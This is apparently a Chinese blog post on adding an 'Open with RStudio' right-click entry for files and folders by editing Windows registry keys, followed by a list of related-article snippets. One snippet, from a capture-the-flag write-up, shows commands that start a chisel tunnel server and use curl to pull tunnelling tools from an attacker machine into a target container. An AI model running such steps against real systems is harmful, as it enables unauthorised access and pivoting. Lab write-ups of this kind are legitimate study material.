Windows:设置右键用RStudio打开文件和文件夹

news2024/12/29 11:07:54

0. 前言

在使用RStudio写R脚本的时候总是要先打开它,再通过它打开脚本和文件夹,感觉不是很方便。由于VSCode以及其他软件都可以整合到右键菜单中打开文件或文件夹,因此就折腾了一下怎么在右键中使用RStudio打开文件,下面是效果展示以及设置步骤,最后是参考链接。

1. 效果展示

右键选择文件夹,选择 “Open with RStudio”,即可使用RStudio打开该目录

在这里插入图片描述

右键选择文件,选择 “Open with RStudio”,即可使用RStudio打开该脚本

在这里插入图片描述

2. 打开注册表编辑器

输入win+R,调出运行窗口,然后输入regedit,点击确定即可打开注册表编辑器

在这里插入图片描述

注意:请勿乱动注册表编辑器中的内容,这个关系到电脑的重要设置,如果出问题可能导致电脑无法正常使用,在不清楚你在做什么的情况下请不要修改里面的内容!!!

下面的内容是在知道自己在做什么的情况下进行的,在不了解清楚前请不要尝试。

3. 设置右键用RStudio打开文件

首先找到RStudio的路径,我的路径是D:\RStudio\bin\rstudio.exe

打开注册表,定位到:计算机\HKEY_CLASSES_ROOT*\shell\RStudio,步骤如下:

在这里插入图片描述

首先选中RStudio,然后右键选择默认,将其内容修改为“Open with RStudio”,这个内容会在右键选择文件的时候出现。

然后按照如下步骤将command的值设置为:"D:\RStudio\bin\rstudio.exe" "%1"

在这里插入图片描述

解释:这里有两个双引号,两个双引号中间存在一个空格,第一个双引号中的内容是rstudio.exe可执行程序的绝对路径,可以通过文件管理器得到,第二个双引号的内容是%1,表示第一个参数,右键点击文件时就会将文件传递给%1变量,然后执行rstudio.exe命令打开该文件。

注意:这里的双引号一定要是英文状态下的双引号。

4. 设置右键用RStudio打开文件夹

优点:通过这种方式使用RStudio打开文件夹以后,默认路径就是当前文件夹的路径,这样可以直接处理当前文件夹下面的内容,无需重新设置当前路径,非常方便。

步骤如下:

首先打开文件夹所需要修改的注册表路径:计算机\HKEY_CLASSES_ROOT\Directory\shell\Rstudio

在这里插入图片描述

然后选中RStudio,右键选择默认,将其内容修改为“Open with RStudio”,这个内容会在右键选择文件的时候出现。

接下来将command的值修改为"D:\RStudio\bin\rstudio.exe" "%V”,步骤同上

在这里插入图片描述

解释:这里command的值同上面,只不过第二个双引号里面的换成了%V,表示当前文件夹的名称

5. 参考链接

https://blog.csdn.net/u013719339/article/details/80089243

https://superuser.com/questions/136838/which-special-variables-are-available-when-writing-a-shell-command-for-a-context

6. 最后

本文同步发表于微信公众号“水木的生信与编程世界”,如果觉得有用欢迎关注一下~

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/565156.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

简析java JNI技术

前言 认识JNI(Java Native Interface)技术,了解Java调用本地C/C库的简单原理以及一些基本的知识点;自己编写一个自定义的JNI接口。 一、简介 JNI是Java Native Interface的缩写,通过使用 Java本地接口书写程序,可以确保代…

在vue3中如何使用百度地图API(详细步骤+demo示例)

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 一、注册账号、申请成为开发者二、申请密钥AK三、在vue3.0中使用百度地图API 提示:以下是本篇文章正文内容,下面案例可供参考 一、注册账号…

htb Mailroom里容器(Debian 11)图形界面显示在本机kali上,socat,unix转发,容器里不安装xrdp

在攻击机kali(ip:10.10.14.18)上运行chisel服务端: chisel server -v -p 60080 --socks5 在靶机的虚拟机(ssh root10.10.11.209)上,执行docker exec containers_sites_1 /bin/bash,进入容器里 进入容器后,先下载kali上的socat和chisel: curl -o /bin/chisel http://10.10.14…

使用JMeter+Grafana+Influxdb搭建可视化性能测试监控平台

【背景说明】 使用jmeter进行性能测试时,工具自带的查看结果方式往往不够直观和明了,所以我们需要搭建一个可视化监控平台来完成结果监控,这里我们采用三种JMeterGrafanaInfluxdb的方法来完成平台搭建 【实现原理】 通过influxdb数据库存储…

初学用于华为鸿蒙系统(HarmonyOS)的编程开发工具HUAWEI DevEco Studio:你好,鴻蒙~

本文是6月6日博文“初学用于华为鸿蒙系统(HarmonyOS)的编程开发工具HUAWEI DevEco Studio”的续篇。 成功通过华为开发者联盟的实名认证审核后,使用远程模拟器(Remote Emulator)运行程序。 步骤如下: 菜单Tools - Device Manager: 点击设备…

Vue列表渲染

1,回顾HTML列表? 答:列表分为顺序列表ol,无序列表ul,用于在网页上以表格的形式进行数据展示,数据放在单元格之中,可以用于布局或者展示某个具体对象的信息。li表示列表的每一项。自定义列表为dl…

C++多态详解(虚函数重写、接口继承、虚函数表详解)

目录 1. 多态概念 2. 多态的定义及实现 2.1 多态的构成条件 2.2 虚函数重写 2.3 C11 override和final 2.4 重载、覆盖(重写)、隐藏(重定义)的对比 3. 抽象类 3.1 概念 3.2 接口继承和实现继承 4. 多态的原理 4.1 虚函数表 4.2…

ESP32设备驱动-VCNL4010光传感器驱动

VCNL4010光传感器驱动 文章目录 VCNL4010光传感器驱动1、VCNL4010介绍2、硬件准备3、软件准备4、驱动实现1、VCNL4010介绍 VCNL4010 专为更短的距离而设计,不超过 200 毫米(约 7.5" ) 并且根据我们的实验,我们发现它在大约 10-150 毫米的距离内效果最佳。这对于检测手…

水表远程监控系统有什么功能吗?

水表远程监控系统是通过远程传输水表数据,实现对水表的远程监控和管理的一种智能化系统。它主要具备以下功能: 1.远程抄表功能:通过远程传输技术,实现对水表的远程抄表和监控,无需人工上门抄表,节省人力成本…

ChatGPT超详细教程-提问、使用、技巧~

huChatGPT已经面世很长时间了,很多人已经开始依赖ChatGPT了,逐渐应用到自己的生活工作学习中去了,然而还有很多人嚷嚷着不好用,真的不好用的话为什么广受好评,还有很多人一直在用? 当然也有可能真的对你没…

uni-app基础

1、基本语言和开发规范 uni-app代码编写,基本语言包括js、vue、css。以及ts、scss等css预编译器。 在app端,还支持原生渲染的nvue,以及可以编译为kotlin和swift的uts。 但是,DCloud提供了使用js编写服务器代码的uniCloud云引擎…

Unity Lighting Mode

在Light中Mode设置为Mixed时,Lighting Mode(在Window->Rendering->Light->Scene)有三种选项如下图: Baked Indirect 烘焙间接光,效果最好性能最耗 混合光源照亮的动态游戏对象将接收: 实时直接光照。烘焙间接…

【iOS_锁】

文章目录 前言锁线程安全锁🔒的作用锁的种类互斥锁 自旋锁加锁原理缺点对比自旋锁的缺点互斥锁的缺点 各种锁OSSpinLock使用OSSpinLockOSSpinLock存在缺陷 互斥锁分为两种: 递归锁、非递归锁 os_unfair_lock 【非递归互斥锁】锁的修饰使用 自旋锁的优先级…

数据结构初阶——堆排序

思维导图: 目录 一,堆排序的概念 二,堆排序的实现 2.1将数组变成堆 2.2堆有序化 二,全部代码 一,堆排序的概念 百度百科的解释如下:堆排序(英语:Heapsort)是指利用堆这种数据结构所设计…

Python——第7章 pandas数据分析实战

7.1pandas常用数据类型 7.1.1一维数组与常用操作 import pandas as pd import matplotlib.pyplot as plt#设置输出结果对齐方式 pd.set_option(display.unicode.ambiguous_as_wide,True) pd.set_option(display.unicode.east_asian_width,True)#自动创建从0开始的非负整数索引…

优化器| SGD/Adam/

前言:最近准备复习一下深度学习的基础知识,开个专栏记录自己的学习笔记 各种SGD和Adam优化器整理 基本概念 优化:最大化或最小化目标函数,具体指最小化代价函数或损失函数 损失函数 J(θ)f(hθ(x),y),h…

RK3568平台开发系列讲解(项目篇)TensorFlow图像分类

🚀返回专栏总目录 文章目录 一、安装tensorflow环境二、图像分类2.1、准备数据集2.2、构建和训练模型2.3、测试模型2.4、TensorFlow Lite模型2.5、模型转换和模拟测试三、部署推理测试沉淀、分享、成长,让自己和他人都能有所收获!😄 📢 TensorFlow 是一个基于数据流编程…

Python机器学习入门 - - 贝叶斯算法学习笔记

文章目录 前言一、贝叶斯算法简介二、贝叶斯算法的数学原理1. 条件概率2. 全概率公式3. 贝叶斯公式4. 朴素贝叶斯分类器5. 高斯朴素贝叶斯分类器和伯努利朴素贝叶斯分类器 三、Python实现朴素贝叶斯分类总结 前言 贝叶斯公式是我们高中就耳熟能详的统计概率定理,贝…

UnityVR--ResourceManager--资源管理

目录 简介 加载资源的几种方式 资源加载的管理器Resload.cs ResLoad类的应用举例 简介 这里记录一个资源管理工具集,提供一些方法将一些Object、Prefab直接从Assets文件夹中加载到场景中。 加载资源的几种方式 在项目中我们经常需要使用一些随时取用的东西&…

2023 华为 Datacom-HCIE 题库 06--含解析

多项选择 1.[试题编号:190185] (多选题)如图所示,PE 1和PE2之间通过Loopback0接口建立MP-BGP邻居关系,在配置完成之后,发现CE1和CE2之间无法互相学习路由,以下哪些项会导致该问题出现? A、PE1…